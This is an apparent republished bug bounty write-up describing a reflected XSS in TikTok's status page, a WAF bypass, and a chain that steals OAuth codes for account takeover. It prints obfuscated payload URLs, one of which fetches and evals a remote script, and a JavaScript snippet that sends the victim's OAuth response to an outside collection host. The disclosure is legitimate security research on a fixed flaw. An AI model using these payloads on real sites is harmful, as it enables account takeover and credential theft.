Breaking TikTok: Our Journey to Finding an Account Takeover Vulnerability

11 months ago 59
BOOK THIS SPACE FOR AD
ARTICLE AD

mrhavit

Hello, fellow security researchers and bug bounty hunters!

In this article, const & I (mrhavit) will share our experience of discovering a Cross-Site Scripting (XSS) vulnerability that could have resulted in possible account takeovers in multiple TikTok applications during our participation in their bug bounty program.

How it all began

It all began when we were browsing TikTok’s main application as usual, with the VPN turned on. Our VPN has an option that randomly selects the location of the connection. At the time we were browsing the TikTok application, the connection was set to China.

When I attempted to visit https://tiktok.com/, I was promptly redirected to a different webpage that indicated “This page is not available in your area.

https://www.tiktok.com/status?status=7&link=https://go.onelink.me/bIdt/

The new redirect URL contains a few parameters. The first parameter is “status,” which is responsible for the page content. The second parameter is “link,” and we still don’t know how it affects the page.

When we changed the value of the “status” parameter to “1,” the content of the page changed, and a new button appeared. Clicking on the button redirects you to the value of the “link” parameter. This is where the “link” parameter comes into play.

https://www.tiktok.com/status?status=1&link=https://go.onelink.me/BAuo/

We started testing the “link” parameter value by inserting some common XSS payloads such as “javascript:alert()” and “javascript://”, but nothing changed. The redirect link remained set as “https://go.onelink.me/BAuo/".

After a while, I realized that we could actually control the path. This means that we set the “link” parameter value to “https://go.onelink.me/mrhavit/" and it was actually embedded in the HTML.

https://www.tiktok.com/status?status=1&link=https://go.onelink.me/mrhavit/

The next step was to check if we were stuck inside the “href” attribute or if it was possible to break out and set some events. As you might have guessed, the escaping wasn’t set properly, and we were able to successfully insert a new event into the “href” attribute.

https://www.tiktok.com/status?status=1&link=https://go.onelink.me/mrhavit/%22%20test

At this moment, we realized that we had a good lead for XSS and started to dig deeper. Let’s go!

Since we were inside the “href” attribute and could potentially inject any event we wanted, “onclick” sounded like the most fitting one. When we tried this, we quickly faced something very annoying that every security expert may know and have faced before — a WAF!

https://www.tiktok.com/status?status=1&link=https://go.onelink.me/mrhavit/%22%20onclick=alert(1)

Since this was a very special case and a unique injection entry point, we didn’t find a quick win here with an XSS payload that can be found online and bypassed the WAF. So, we started to learn how to deal with this WAF and attempted to bypass it by crafting a unique payload.

Bypassing the WAF was not an easy task. Special characters like “>” and “<” were escaped/encoded properly, so by using some encoding tricks have successfully inserted the “onclick” event.

After spending some time working and utilizing our JavaScript skills, we finally found a cool bypass that allowed us to execute JavaScript successfully!

https://www.tiktok.com/status?status=1&link=https://go.onelink.me/dsa\+%0A%0D%0A%0D%22%3C!%3E!%0D%0Atarget=%22_blank%22%0D%0Aonclick=%0D%0A%22%0D%0Ax=window[%27pr%27%2b%27o%27%2b%27m%27+%2b%27pt%27](%271%27)(%271%27)%0D%0Aompt,%0D%0Ax`Tiktok`

Reporting an XSS vulnerability without demonstrating its impact is not something we do. Showing the company the impact of what a single click can do will help them understand the risk involved, and of course, pay more for the vulnerability :)

Account takeovers are always a good example to demonstrate the impact of an XSS vulnerability. While stealing cookies is rare these days due to the HTTPOnly flag, having enough knowledge about the target can lead to account takeovers in creative ways. We were able to achieve this by using “TikTok OAuth”.

Most TikTok services offer “Login With TikTok” as an option for their login process. In this article, we will focus on “ads.tiktok.com”, but this vulnerability also affects other services such as sellers, shops, and more.

https://ads.tiktok.com/i18n/login/?_source_=ads_homepage&lang=en&region=0

After clicking on “Log in with TikTok,” the following page was displayed:

https://www.tiktok.com/auth/authorize?client_key=aw8cb3204x0a1g88&response_type=code&scope=user.info.basic%2Cuser.info.email%2Cuser.info.phone%2Cuser.info.showcase%2Cvideo.list.no_watermark%2Cvideo.list.private_ads.no_watermark%2Cuser.account.configure%2Cvideo.list.manage%2Clive.list%2Ccomment.list%2Ccomment.list.manage&version=1&lang=en&state=b5d324d197693fd0ab0f5bde42020d3f91feb5bb&redirect_uri=https%3A%2F%2Fads.tiktok.com%2Fi18n%2Flogin%2F%3F_extra%3DcGxhdGZvcm09dGlrdG9rJmxvZ2luX2FjdGlvbj1yZWRpcmVjdCZzaG93X2JpbmRfZXJyb3I9dHJ1ZSZzaG93X2xvZ291dD10cnVlJm9yaWdpbj1odHRwczovL2Fkcy50aWt0b2suY29tL2kxOG4vbG9naW4vJnVzZXJfc2V0dGluZ19zdGF0dXM9dHJ1ZSZyZWRpcmVjdD1odHRwcyUzQSUyRiUyRmFkcy50aWt0b2suY29tJTJGaTE4biUyRmhvbWUlMkYmZnJvbV9wYWdlPWxvZ2lu%26state%3Db5d324d197693fd0ab0f5bde42020d3f91feb5bb&error_uri=https%3A%2F%2Fads.tiktok.com%2Fi18n%2Flogin%2F%3F_extra%3DcGxhdGZvcm09dGlrdG9rJmxvZ2luX2FjdGlvbj1yZWRpcmVjdCZzaG93X2JpbmRfZXJyb3I9dHJ1ZSZzaG93X2xvZ291dD10cnVlJm9yaWdpbj1odHRwczovL2Fkcy50aWt0b2suY29tL2kxOG4vbG9naW4vJnVzZXJfc2V0dGluZ19zdGF0dXM9dHJ1ZSZyZWRpcmVjdD1odHRwcyUzQSUyRiUyRmFkcy50aWt0b2suY29tJTJGaTE4biUyRmhvbWUlMkYmZnJvbV9wYWdlPWxvZ2lu%26state%3Db5d324d197693fd0ab0f5bde42020d3f91feb5bb

This page is hosted on “www.tiktok.com", which is the same host where our XSS vulnerability exists. Upon clicking the “Authorize” button, the following request was generated:

POST /passport/open/web/auth/?client_key=aw8cb3204x0a1g88&scope=user.info.basic%2Cuser.info.phone%2Cuser.account.configure%2Ccomment.list.manage%2Cuser.info.showcase%2Clive.list%2Ccomment.list%2Cvideo.list.private_ads.no_watermark%2Cvideo.list.manage%2Cuser.info.email%2Cvideo.list.no_watermark&aid=1459&source=web&redirect_uri=https%3A%2F%2Fads.tiktok.com%2Fi18n%2Flogin%2F%3F_extra%3DcGxhdGZvcm09dGlrdG9rJmxvZ2luX2FjdGlvbj1yZWRpcmVjdCZzaG93X2JpbmRfZXJyb3I9dHJ1ZSZzaG93X2xvZ291dD10cnVlJm9yaWdpbj1odHRwczovL2Fkcy50aWt0b2suY29tL2kxOG4vbG9naW4vJnVzZXJfc2V0dGluZ19zdGF0dXM9dHJ1ZSZyZWRpcmVjdD1odHRwcyUzQSUyRiUyRmFkcy50aWt0b2suY29tJTJGaTE4biUyRmhvbWUlMkYmZnJvbV9wYWdlPWxvZ2lu%26state%3Db5d324d197693fd0ab0f5bde42020d3f91feb5bb&state=b5d324d197693fd0ab0f5bde42020d3f91feb5bb HTTP/2
Host: www.tiktok.com
Cookie: .............
Content-Length: 2
Sec-Ch-Ua: "Google Chrome";v="113", "Chromium";v="113", "Not-A.Brand";v="24"
Accept: application/json, text/plain, */*
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36
Origin: https://www.tiktok.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://www.tiktok.com/auth/authorize?client_key=aw8cb3204x0a1g88&response_type=code&scope=user.info.basic%2Cuser.info.email%2Cuser.info.phone%2Cuser.info.showcase%2Cvideo.list.no_watermark%2Cvideo.list.private_ads.no_watermark%2Cuser.account.configure%2Cvideo.list.manage%2Clive.list%2Ccomment.list%2Ccomment.list.manage&version=1&lang=en&state=b5d324d197693fd0ab0f5bde42020d3f91feb5bb&redirect_uri=https%3A%2F%2Fads.tiktok.com%2Fi18n%2Flogin%2F%3F_extra%3DcGxhdGZvcm09dGlrdG9rJmxvZ2luX2FjdGlvbj1yZWRpcmVjdCZzaG93X2JpbmRfZXJyb3I9dHJ1ZSZzaG93X2xvZ291dD10cnVlJm9yaWdpbj1odHRwczovL2Fkcy50aWt0b2suY29tL2kxOG4vbG9naW4vJnVzZXJfc2V0dGluZ19zdGF0dXM9dHJ1ZSZyZWRpcmVjdD1odHRwcyUzQSUyRiUyRmFkcy50aWt0b2suY29tJTJGaTE4biUyRmhvbWUlMkYmZnJvbV9wYWdlPWxvZ2lu%26state%3Db5d324d197693fd0ab0f5bde42020d3f91feb5bb&error_uri=https%3A%2F%2Fads.tiktok.com%2Fi18n%2Flogin%2F%3F_extra%3DcGxhdGZvcm09dGlrdG9rJmxvZ2luX2FjdGlvbj1yZWRpcmVjdCZzaG93X2JpbmRfZXJyb3I9dHJ1ZSZzaG93X2xvZ291dD10cnVlJm9yaWdpbj1odHRwczovL2Fkcy50aWt0b2suY29tL2kxOG4vbG9naW4vJnVzZXJfc2V0dGluZ19zdGF0dXM9dHJ1ZSZyZWRpcmVjdD1odHRwcyUzQSUyRiUyRmFkcy50aWt0b2suY29tJTJGaTE4biUyRmhvbWUlMkYmZnJvbV9wYWdlPWxvZ2lu%26state%3Db5d324d197693fd0ab0f5bde42020d3f91feb5bb
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9

{}

The response contains something very interesting — the “code” for the OAuth authentication.

If we combine this with our XSS vulnerability, It would have been possible to leak the OAuth “code” of our victim with a single click. While TikTok saw no evidence of this vulnerability being exploited before it was fixed, attackers who obtained these codes could have used them to take over their victims’ accounts.

We created a JS payload that bypassed the WAF and loaded a new script from the attacker’s server. In our example, the script was loaded from “http://127.0.0.1:5500/asd.js”.

The “asd.js” file contains JavaScript code that sends an XHR POST request to the “OAuth” endpoint and sends the response to the attacker-controlled server.

var xhr = new XMLHttpRequest();
xhr.onload = reqListener;
xhr.open("POST", "https://www.tiktok.com/passport/open/web/auth/?client_key=aw8cb3204x0a1g88&scope=user.info.basic%2Cuser.info.phone%2Cvideo.list.manage%2Ccomment.list%2Clive.list%2Cvideo.list.private_ads.no_watermark%2Cuser.account.configure%2Cuser.info.showcase%2Cuser.info.email%2Cvideo.list.no_watermark%2Ccomment.list.manage&aid=1459&source=web&redirect_uri=https%3a%2f%2fads.tiktok.com%2fblablablabla&state=64588d019065e001fa8e7abdd884581c10770400");
xhr.withCredentials = true;
xhr.setRequestHeader("Content-Type", "application/json");
xhr.send();

function reqListener() {
location='//rqlu5n70d1zgnxxbz3xzlq09b0hr5ntc.oastify.com/log?key='+this.responseText;
};

The response contained the OAuth “code” of our victim user, which could have been used by the attacker to gain access to the victim’s account.

In the following video, we demonstrate how the victim could have clicked on the XSS, and the OAuth “code” is sent back to the attacker’s controlled server.

https://www.tiktok.com/status?status=1&link=https://go.onelink.me/dsa\+%0A%0D%0A%0D%22%3C!%3E!%0D%0Atarget=%22_blank%22%0D%0Aonclick=%0D%0A%22%0D%0Ax=window[%27ev%27%2b%27a%27%2b%27l%27]((%27fe%27+%2b+%27tch%27+%2b+%27(%27+%2b+%27\%27ht%27+%2b+%27tp%27+%2b+%27%3a//%27+%2b+%27lo%27+%2b+%27ca%27+%2b+%27lho%27+%2b+%27st%27+%2b+%27%3a%27+%2b+%2755%27+%2b+%2700%27+%2b+%27/%27+%2b+%27as%27+%2b+%27d.%27+%2b+%27js\%27%27+%2b+%27)%27+%2b+%27.%27+%2b+%27the%27+%2b+%27n(%27+%2b+%27re%27+%2b+%27sp%27+%2b+%27on%27+%2b+%27se%27+%2b+%27%3d%3E%27+%2b+%27re%27+%2b+%27sp%27+%2b+%27on%27+%2b+%27se.%27+%2b+%27te%27+%2b+%27xt()%27+%2b+%27.%27+%2b+%27the%27+%2b+%27n(%27+%2b+%27te%27+%2b+%27xt%27+%2b+%27%3d%3E%27+%2b+%27ev%27+%2b+%27al%27+%2b+%27(%27+%2b+%27te%27+%2b+%27xt%27+%2b+%27)%27+%2b+%27)%27+%2b+%27)%27))

HackerOne Report

Timeline:

Reported — Mar 23rd

Triaged — Apr 3rd

Awarded $$$$ — Apr 6th

Resolved —Apr 6th

On April 10th, we reported that the XSS vulnerability was still present in our region. The TikTok team investigated the issue and confirmed that there was an internal service issue affecting certain regions, which allowed the XSS to still be triggered. They promptly fixed the issue once it was identified.

In working with the TikTok team, they confirmed that this vulnerability was fixed, and had no evidence of being exploited.

Thank you for reading our article. If you have any questions or want to learn more about our experience, feel free to reach out.

@mrhavit & @const

Read Entire Article